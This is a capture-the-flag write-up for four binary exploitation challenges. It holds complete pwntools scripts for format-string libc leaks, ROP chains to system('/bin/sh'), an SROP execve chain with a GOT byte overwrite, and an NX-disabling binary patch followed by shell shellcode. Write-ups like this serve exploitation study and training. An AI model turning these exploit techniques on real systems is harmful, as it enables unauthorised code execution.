Binary Exploitation

Challenge
Topic

stack overflow, string format vulnerability

string format vulnerability, one byte overwrite

ret2shellcode

u get me write (400 pts)

Description

Surely one gets call wont get me fired right?

Solution

Given executable with following protection

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Now decompile using IDA

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE v4[24]; // [rsp+0h] [rbp-20h] BYREF
  const char *v5; // [rsp+18h] [rbp-8h]

  v5 = "Pleasure to meet you! Please enter your name: ";
  printf("Hello! %s\n", "Pleasure to meet you! Please enter your name: ");
  return gets(v4);
}

The code is pretty simple and the vulnerability is easy to find which is gets. In this challenge we're not given libc so we need to find correct libc later.

First, we can do overflow in gets function and get control of RIP, but the problem is where should we go? Because there is no PIE, so we can go to any address in ELF because we know the static address of executable. But because the target is to read flag on system we need to gain RCE or read file on remote server.

My idea to gain RCE is by utilizing function in libc, which can be system/execve/one gadget/etc. So we need to leak libc address first. Let's take a look on assembly of function main.

.text:0000000000401156                 endbr64
.text:000000000040115A                 push    rbp
.text:000000000040115B                 mov     rbp, rsp
.text:000000000040115E                 sub     rsp, 20h
.text:0000000000401162                 lea     rax, aPleasureToMeet ; "Pleasure to meet you! Please enter your"...
.text:0000000000401169                 mov     [rbp+var_8], rax
.text:000000000040116D                 mov     rax, [rbp+var_8]
.text:0000000000401171                 mov     rsi, rax
.text:0000000000401174                 lea     rax, format     ; "Hello! %s\n"
.text:000000000040117B                 mov     rdi, rax        ; format
.text:000000000040117E                 mov     eax, 0
.text:0000000000401183                 call    _printf
.text:0000000000401188                 lea     rax, [rbp+var_20]
.text:000000000040118C                 mov     rdi, rax
.text:000000000040118F                 mov     eax, 0
.text:0000000000401194                 call    _gets
.text:0000000000401199                 nop
.text:000000000040119A                 leave
.text:000000000040119B                 retn

There is printf call and gets, function gets will return the address of buffer in RAX. So if we set the RIP to 0x00000000040117B after retn function, the RAX still carry the address of buffer from gets. If we input %p in buffer so we can get string format vulnerability in printf because we can control the RDI of printf which moved from RAX.

#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chal'
elf = context.binary = ELF(exe, checksec=True)
rop = ROP(elf)
libc = '/usr/lib/x86_64-linux-gnu/libc.so.6'

libc = ELF(libc, checksec=False)

context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]
host, port = 'u-get-me-write.k17.kctf.cloud', 1337

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript,  stdin=PTY)
    elif args.RM:
        return remote(host, port)
    else:
        return process([exe] + argv,  stdin=PTY)

gdbscript = '''
b *0x401199
c
'''.format(**locals())

def exploit():
    global r
    r = initialize()
    payload = b"%p" # string format payload
    payload += b"A" * (0x28 - len(payload)) # overflow
    payload += p64(0x040117b) # RIP address
    
    r.recvuntil(b"name:")
    r.sendline(payload)
    
    r.interactive()
    
if __name__ == '__main__':
    exploit()

Now we've confirmed that we can leak using printf, next we need to find useful value to leak. In x64 there are order of argument that we can use as reference

  • RSI

  • RDX

  • RCX

  • R8

  • R9

  • Values on stack

By examining above register and value on stack we found interesting value in RCX and $rsp+(19*0x8)

gef➤  x/gx $rsp+(19*0x8)
0x7ffe19a42318: 0x000072758e22a28b
gef➤  x/gx 0x000072758e22a28b
0x72758e22a28b <__libc_start_main_impl+139>:    0x4d001d8cf63d8b4c
gef➤  info registers rcx
rcx            0x72758e4038e0      0x72758e4038e0
gef➤  x/gx 0x72758e4038e0
0x72758e4038e0 <_IO_2_1_stdin_>:        0x00000000fbad2288

After leak we will call gets function again, but if our current payload rbp is set to 0x41414141.

To make gets working again we need to set a valid rbp value with writable region and we can easily find it through vmmap.

0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/kosong/ctf/secso/pwn/uget/chal

gef➤  x/50gx 0x0000000000404400-0x20
0x4043e0:       0x0000000000000000      0x0000000000000000
0x4043f0:       0x0000000000000000      0x0000000000000000
0x404400:       0x0000000000000000      0x0000000000000000
0x404410:       0x0000000000000000      0x0000000000000000
0x404420:       0x0000000000000000      0x0000000000000000
0x404430:       0x0000000000000000      0x0000000000000000
0x404440:       0x0000000000000000      0x0000000000000000
0x404450:       0x0000000000000000      0x0000000000000000
0x404460:       0x0000000000000000      0x0000000000000000
0x404470:       0x0000000000000000      0x0000000000000000
0x404480:       0x0000000000000000      0x0000000000000000
0x404490:       0x0000000000000000      0x0000000000000000
0x4044a0:       0x0000000000000000      0x0000000000000000
0x4044b0:       0x0000000000000000      0x0000000000000000
0x4044c0:       0x0000000000000000      0x0000000000000000
0x4044d0:       0x0000000000000000      0x0000000000000000
0x4044e0:       0x0000000000000000      0x0000000000000000
0x4044f0:       0x0000000000000000      0x0000000000000000
0x404500:       0x0000000000000000      0x0000000000000000
0x404510:       0x0000000000000000      0x0000000000000000
0x404520:       0x0000000000000000      0x0000000000000000
0x404530:       0x0000000000000000      0x0000000000000000
0x404540:       0x0000000000000000      0x0000000000000000
0x404550:       0x0000000000000000      0x0000000000000000
0x404560:       0x0000000000000000      0x0000000000000000

Above address is good candidate for RBP, let's update our solver.

    writeable_mem = 0x0000000000404400
    payload = b"%3$p %25$p" # string format payload
    payload += b"A" * (0x20 - len(payload)) # overflow
    payload += p64(writeable_mem) # RBP
    payload += p64(0x040117b) # RIP address

Last, we can use one gadget to gain RCE

There are some constrains in each one gadget, most of it is required rbp-n writeable. So before jump to one gadget we need to set a valid rbp and we can utilize gadget from ELF which pop rbp; ret; . Following is final solver we used

#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chal'
elf = context.binary = ELF(exe, checksec=True)
rop = ROP(elf)
libc = '/usr/lib/x86_64-linux-gnu/libc.so.6'

libc = ELF(libc, checksec=False)

context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]
host, port = 'u-get-me-write.k17.kctf.cloud', 1337

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript,  stdin=PTY)
    elif args.RM:
        return remote(host, port)
    else:
        return process([exe] + argv,  stdin=PTY)

gdbscript = '''
b *0x401199
c
'''.format(**locals())

def exploit():
    global r
    r = initialize()
    writeable_mem = 0x0000000000404400

    payload = b"%3$p %25$p" # string format payload
    payload += b"A" * (0x20 - len(payload)) # overflow
    payload += p64(writeable_mem) # RBP
    payload += p64(0x040117b) # RIP address
    
    r.recvuntil(b"name:")
    r.sendline(payload)

    leak1, leak2 = r.recvuntil(b"AAAAAAAAAAAAAAAAAAAA").decode().strip().split("AAAAAAAAAAAAA")[0].split(" ")
    leak1 = int(leak1, 16)
    leak2 = int(leak2, 16) - 139 # - 128 on remote
    libc_base = leak1 - libc.symbols['_IO_2_1_stdin_']
    libc_base_2 = leak2 - libc.symbols['__libc_start_main']
    
    assert libc_base == libc_base_2

    libc.address = libc_base

    print(f"{hex(libc.address)=}")

    POP_RBP = rop.find_gadget(['pop rbp', 'ret'])[0]
    
    ONE_GADGET = 0xef52b

    payload = b"A" * 0x28
    payload += p64(POP_RBP)
    payload += p64(writeable_mem)
    payload += p64(libc.address + ONE_GADGET)
    
    r.sendline(payload)
    
    r.interactive()
    
if __name__ == '__main__':
    exploit()

Singular Hole (441 pts)

Description

surely one singular hole is easier to handle than many holes

Solution

Given executable with following protection

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Decompile it with IDA

int __fastcall main(int argc, const char **argv, const char **envp)
{
  char v4[96]; // [rsp+0h] [rbp-70h] BYREF
  char s[16]; // [rsp+60h] [rbp-10h] BYREF

  puts("Welcome to the singular hole - (not the void though, thats somewhere else)!\"");
  puts(byte_4020FD);
  puts("In honour of yellowsubmarine's brain, which is");
  puts("completely full of holes, we're giving you the");
  puts("opportunity to exploit the one true singular hole.");
  puts(byte_4020FD);
  puts("Please state your name:");
  printf(">> ");
  fgets(s, 16, _bss_start);
  printf("Well hello ");
  printf(s);
  puts(byte_4020FD);
  puts("Please state a fun fact about yourself:");
  printf(">> ");
  fgets(v4, 96, _bss_start);
  puts("Interesting, I didn't know that!");
  hole();
  return 0;
}
int hole()
{
  char v1; // [rsp+Fh] [rbp-11h] BYREF
  _BYTE *v2; // [rsp+10h] [rbp-10h] BYREF
  int v3; // [rsp+1Ch] [rbp-4h]

  puts("Now let's get to business. Where would you like to place your hole?");
  printf(">> ");
  __isoc99_scanf(" %p", &v2);
  puts("What would you like to write there?");
  do
    v3 = getchar();
  while ( v3 != 10 && v3 != -1 );
  __isoc99_scanf("%hhu", &v1);
  *v2 = v1;
  return puts("The hole is now in place. Good luck!");
}

From above function we know 2 obvious vulnerabilities

  • string format vuln in printf (main)

    • We can utilize this vulnerability to read or write value

  • one byte overwrite in hole function

    • We can utilize this vulnerability to overwrite value (one byte)

Using printf we gonna try to leak useful values. Let's check register and stack

  • 1st Leak = 0x00007fff6bf48188 (stack address)

    • rbp+0x8 is 0x7fff6bf48068, so we can leak $rbp+0x8 by substracting 1st leak with 288

    • 0x7fff6bf48068 stored RIP after main function (value = 0x76471f02a1ca)

      • By overwriting value in 0x7fff6bf48068 we can change flow after main function call

  • 2nd Leak = 0x76471f02a1ca (__libc_start_call_main+122)

    • so we can leak libc base by subtracting it with 122 and address of __libc_start_call_main

In this challenge we've limitation of printf which only 16 bytes, so it will hard to one shot overwrite with this limitation. Using hole function is same, it only overwrite 1 byte.

So my first idea is utilizing either printf or hole to make infinite looping, because we know the address $rbp+0x8 and we know the value is __libc_start_call_main+122 we can try to make the program looping again to calling main function again by changing the RIP to __libc_start_call_main+57. It only needs one byte overwrite, but if we use format p64(target) + format string payload it will exceeded 16 bytes.

To overcome this issue, the idea is utilizing the second fgets to store the address of $rbp+0x8 then just use %137x%k$hhn for k is location of $rbp+0x8. Because we can do infinite looping then we can utilize one byte overwrite to write any data we want.

If we take a look again on the code, actually we can do overwrite 3 bytes at a time (one loop) with following flow

  • two bytes overwrite in printf

  • one byte overwrite in hole

By combining above idea we can craft following exploit

  • use infinite looping to write following data

    • rbp+(0x8*2) = binsh

    • rbp+(0x8*3) = ret

    • rbp+(0x8*4) = system

  • use 3 bytes overwrite in last loop (because it has 3 bytes different)

    • rbp+0x8 = pop rdi; ret

#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chal'
elf = context.binary = ELF(exe, checksec=True)
rop = ROP(elf)
libc = '/usr/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]
host, port = 'challenge.secso.cc', 9003

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.RM:
        return remote(host, port)
    else:
        return process([exe] + argv, stdin=PTY)

gdbscript = '''
b *0x40131C
b *0x401247
c
'''.format(**locals())

def write_data(TARGET_ADDRESS, TARGET_DATA, leak1):
    # print(hex(u64(TARGET_DATA)))
    for i in range(len(TARGET_DATA)):
        r.recvuntil(b" yourself:")
        payload = p64(leak1)
        r.sendline(payload)
        r.recvuntil(b" to place your hole?")
        r.sendline(hex(TARGET_ADDRESS + i).encode())
        r.recvuntil(b"write there?")
        payload = str(TARGET_DATA[i]).encode()
        fmt_payload = f"%137x%6$hhn".encode()
        assert len(fmt_payload) <= 16
        payload += fmt_payload
        r.sendline(payload)

def last_write(rop2, leak1):
    pop_rdi = rop2.find_gadget(['pop rdi','ret']).address
    r.recvuntil(b" yourself:")
    payload = p64(leak1)
    r.sendline(payload)
    r.recvuntil(b" to place your hole?")
    r.sendline(hex(leak1).encode())
    r.recvuntil(b"write there?")
    payload = str(0x89).encode()
    fmt_payload = f"%{pop_rdi & 0xffff}x%6$hn".encode()
    assert len(fmt_payload) <= 16
    payload += fmt_payload
    r.sendline(payload)

    r.recvuntil(b" yourself:")
    r.sendline(b"lol")
    r.recvuntil(b" to place your hole?")
    r.sendline(hex(leak1 + 2).encode())
    r.recvuntil(b"write there?")
    payload = str((pop_rdi >> 16) & 0xff).encode()
    r.sendline(payload)


def exploit():
    global r

    r = initialize()
    r.recvuntil(b"name:\n")
    r.sendline(f"%26$p.%21$p".encode())
    r.recvuntil(b">> Well hello ")
    tmp = r.recvline().strip().decode().split(".")
    
    leak1 = int(tmp[0], 16)
    print(f"{hex(leak1)=}")
    leak1 -= 288 # RIP main
    print(f"{hex(leak1)=}")

    leak2 = int(tmp[1], 16)
    print(f"{hex(leak2)=}")
    leak2 -= 172490 # __libc_start_call_main+122
    print(f"{hex(leak2)=}")

    libc.address = leak2
    
    rop2 = ROP(libc)

    # setup infinite looping
    r.recvuntil(b" yourself:")
    payload = p64(leak1)
    r.sendline(payload)
    r.recvuntil(b" to place your hole?")
    r.sendline(hex(leak1).encode())
    r.recvuntil(b"write there?")
    payload = str(0x89).encode()
    fmt_payload = f"%137x%6$hhn".encode()
    assert len(fmt_payload) <= 16
    payload += fmt_payload
    r.sendline(payload)

    binsh   = p64(next(libc.search(b"/bin/sh\x00")))
    system  = p64(libc.sym['system'])
    RET = p64(rop2.find_gadget(['ret']).address)
    
    # setup RCE
    write_data(leak1 + 0x8, binsh, leak1)
    write_data(leak1 + 0x8*2, RET, leak1)
    write_data(leak1 + 0x8*3, system, leak1)
    
    # set RIP to pop rdi; ret
    last_write(rop2, leak1)
   
    r.interactive()
    
if __name__ == '__main__':
    exploit()

another solution is by using stack pivot.

into the void (458 pts)

Description

void

Solution

This challenge was solved by @dmcr7 and i tried to reproduce it again after competition. Following is protection of the executable.

    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Let's decompile using IDA

int __fastcall main(int argc, const char **argv, const char **envp)
{
  _BYTE buf[8]; // [rsp+4h] [rbp-Ch] BYREF

  read(0, buf, 0x1000uLL);
  return 15;
}

The code is simple, so there is buffer overflow in buf. My friend noticed that this challenge should be able to be exploited using SROP (never heard about this before lol). Looking at following reference basically we can get RCE by utilizing rt_sigreturn syscall. Let's take a look on assembly of main function

.text:000000000040113F                 endbr64
.text:0000000000401143                 push    rbp
.text:0000000000401144                 mov     rbp, rsp
.text:0000000000401147                 sub     rsp, 10h
.text:000000000040114B                 lea     rax, [rbp+buf]
.text:000000000040114F                 mov     edx, 1000h      ; nbytes
.text:0000000000401154                 mov     rsi, rax        ; buf
.text:0000000000401157                 mov     edi, 0          ; fd
.text:000000000040115C                 call    _read
.text:0000000000401161                 mov     [rbp+var_4], eax
.text:0000000000401164                 mov     eax, 0Fh
.text:0000000000401169                 leave
.text:000000000040116A                 retn

Before leave instruction we can see that there is mov eax, 0xf and throug the reference we know that rt_sigreturn syscall is 0xf. So we can assume that this gadget should be used to trigger rt_sigreturn syscall later.

To achieve RCE we need "/bin/sh" string and there is no string like that in executable and we don't find any leak from the executable. But in this challenge we've overflow and imported read function, so basically we can write to anywhere we want. Let's find suitable region for writing "/bin/sh".

0x0000000000404000 0x0000000000405000 0x0000000000003000 rw- /home/kosong/ctf/secso/pwn/void/chal
gef➤  x/100gx 0x4040b0
0x4040b0:       0x0000000000000000      0x0000000000000000
0x4040c0:       0x0000000000000000      0x0000000000000000
0x4040d0:       0x0000000000000000      0x0000000000000000
0x4040e0:       0x0000000000000000      0x0000000000000000
0x4040f0:       0x0000000000000000      0x0000000000000000
0x404100:       0x0000000000000000      0x0000000000000000
0x404110:       0x0000000000000000      0x0000000000000000
0x404120:       0x0000000000000000      0x0000000000000000
0x404130:       0x0000000000000000      0x0000000000000000
0x404140:       0x0000000000000000      0x0000000000000000
0x404150:       0x0000000000000000      0x0000000000000000
0x404160:       0x0000000000000000      0x0000000000000000
0x404170:       0x0000000000000000      0x0000000000000000
0x404180:       0x0000000000000000      0x0000000000000000
0x404190:       0x0000000000000000      0x0000000000000000

Buffer for read function need to be placed in RSI and we also found that there is POP RSI gadget in executable. Besides that there is another useful gadget which is POP RBP and we'll use it as our payload also.

Following is the whole idea of exploitation

  • write /bin/sh to writeable section (0x4040b0)

    • use POP RSI gadget to set 0x4040b0 as buffer

  • reuse 0x4040b0 as RBP

    • Because our last gadget is mov eax, 0xf and it followed by leave and retn we need a valid RBP to control the next execution

      • So before using last gadget, let's use POP RBP and fill RBP with 0x4040b0 then we can set RIP for last execution is on 0x4040b8

  • write last execution address to writeable section (0x4040b8)

  • write fake sigreturnframe to writeable section (0x4040b8 + 0x8)

Last limitation is there is no syscall in executable, but if we take a look on read function we can see that there is syscall instruction on it.

As we can see that address in GOT is only has different one byte with known syscall instruction, through the same overwrite flow we can overwrite GOT with our target which is 0x5f.

#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './chal'
elf = context.binary = ELF(exe, checksec=True)
rop = ROP(elf)
libc = '/usr/lib/x86_64-linux-gnu/libc.so.6'

libc = ELF(libc, checksec=False)
# rop2 = ROP(libc)

context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]
host, port = 'u-get-me-write.k17.kctf.cloud', 1337

def initialize(argv=[]):
	if args.GDB:
		return gdb.debug([exe] + argv, gdbscript=gdbscript)
	elif args.RM:
		return remote(host, port)
	else:
		return process([exe] + argv)

gdbscript = '''
b *0x40115c
c
'''.format(**locals())

def exploit():
	global r
	writeable_mem = 0x4040b0

	POP_RBP = rop.find_gadget(["pop rbp", "ret"])[0]
	POP_RSI = rop.find_gadget(["pop rsi", "ret"])[0]
	RET = rop.find_gadget(["ret"])[0]

	r = initialize()
	payload = b"A" * 20
	payload += p64(POP_RSI)
	payload += p64(writeable_mem)
	payload += p64(elf.sym['read'])
	payload += p64(elf.sym['_start'])
	r.sendline(payload)
	pause()

	# fake frame
	frame1 = SigreturnFrame()
	frame1.rax = constants.SYS_execve
	frame1.rdi = writeable_mem
	frame1.rsi = 0
	frame1.rdx = 0
	frame1.rip = 0x401040

	payload = b"/bin/sh\x00" # rbp
	payload += p64(0x401040) # rbp+0x8 == rip
	payload += bytes(frame1) # rbp+0x10
	r.sendline(payload)

	# overwrite GOT
	payload = b"A"*20
	payload += p64(RET)
	payload += p64(POP_RSI)
	payload += p64(elf.got['read'])
	payload += p64(elf.plt['read'])
	
	# setting up RBP
	payload += p64(POP_RBP)
	payload += p64(writeable_mem)
	payload += p64(0x401164)  # mov eax, 0xf

	r.sendline(payload)
	pause()
	# send one byte syscall address 
	r.send(b"\x5f")
	
	r.interactive()
	
if __name__ == '__main__':
	exploit()

holes (483 pts)

Description

The worms have begun digging again. docker image is ubuntu:24.04

Note: Use the remote! The provided binary is only part of the challenge.

Solution

Given executatble with following protection

    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

In this challenge we're given a service that can overwrite 2 bytes from the whole executable. During competition we focus on overwriting the code and ended up not being able to craft exploit with our defined vulnerability which is string format vulnerability.

After competition, we found that some team solved it by disabling NX. So let's try to reproduce it

Disabling NX only need 1 byte, so we have another 1 byte that can be used. Let's find the suitable code to make this challenge become a ret2shellcode challenge.

.text:0000000000001206                 mov     rdx, cs:stdin@@GLIBC_2_2_5 ; stream
.text:000000000000120D                 lea     rax, [rbp+s]
.text:0000000000001211                 mov     esi, 40h ; '@'  ; n
.text:0000000000001216                 mov     rdi, rax        ; s
.text:0000000000001219                 call    _fgets
.text:000000000000121E                 lea     rax, [rbp+s]
.text:0000000000001222                 mov     rsi, rax
.text:0000000000001225                 lea     rdi, format     ; "Hello %s"
.text:000000000000122C                 mov     eax, 0
.text:0000000000001231                 call    _printf

Our input stored in rbp+s, so if we take a look on code after _fgets there is only one function that process rbp+s which is printf. Knowing this information so we can try to modify code to either jmp rsi or jmp rax before mov eax, 0.

Before mov eax, 0 looks like there is no instruction that can be changed to jmp eax or jmp rsi. So let's take a look on _printf.

.plt.sec:00000000000010B0 _printf         proc near               ; CODE XREF: main+68↓p
.plt.sec:00000000000010B0                 endbr64
.plt.sec:00000000000010B4                 bnd jmp cs:printf_ptr
.plt.sec:00000000000010B4 _printf         endp

Basically we can see that there is jmp, let's check if it is possible to modify it to jmp rsi.

bnd jmp cs:printf_ptr -> f2 ff 25 05 2f 00 00
bnd jmp rsi -> f2 ff e6

Looks like it is suitable, so we can modify 0x25 to 0xe6. Now let's create our exploit and patch plan.

First, modify STACK flags to 7 to make it executable.

Second, change jmp cs:printf_ptr to jmp rsi. Following is patch code for local binary

f = open("binary", "rb").read()

tmp = list(f)

target = bytes.fromhex("51E5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000001000000000000000")
index = f.index(target)
tmp[index + 4] = 0x7

target = bytes.fromhex("F30F1EFAF2FF25052F0000")
index = f.index(target)
tmp[index + 6] = 0xe6

out = open("patched", "wb")
out.write(bytes(tmp))

Last, we just need to send shellcode to the binary to gain RCE.

#!usr/bin/python3
from pwn import *

# =========================================================
#                          SETUP                         
# =========================================================
exe = './patched'
elf = context.binary = ELF(exe, checksec=True)
rop = ROP(elf)
libc = '/usr/lib/x86_64-linux-gnu/libc.so.6'
libc = ELF(libc, checksec=False)
context.log_level = 'info'
context.terminal = ["tmux", "splitw", "-h"]
context.arch = 'amd64'
host, port = 'challenge.secso.cc', 8002

def initialize(argv=[]):
    if args.GDB:
        return gdb.debug([exe] + argv, gdbscript=gdbscript)
    elif args.RM:
        return remote(host, port)
    else:
        return process([exe] + argv)

gdbscript = '''
pie b 0x122c
c
'''.format(**locals())

def exploit():
    global r
    r = initialize()
    shellcode = asm(shellcraft.sh())
    assert len(shellcode) <= 64 
    payload = shellcode
    payload += b"\x90" * (64 - len(payload))
    r.recvuntil(b"name?")
    r.sendline(payload)
    r.interactive()
    
if __name__ == '__main__':
    exploit()

Last updated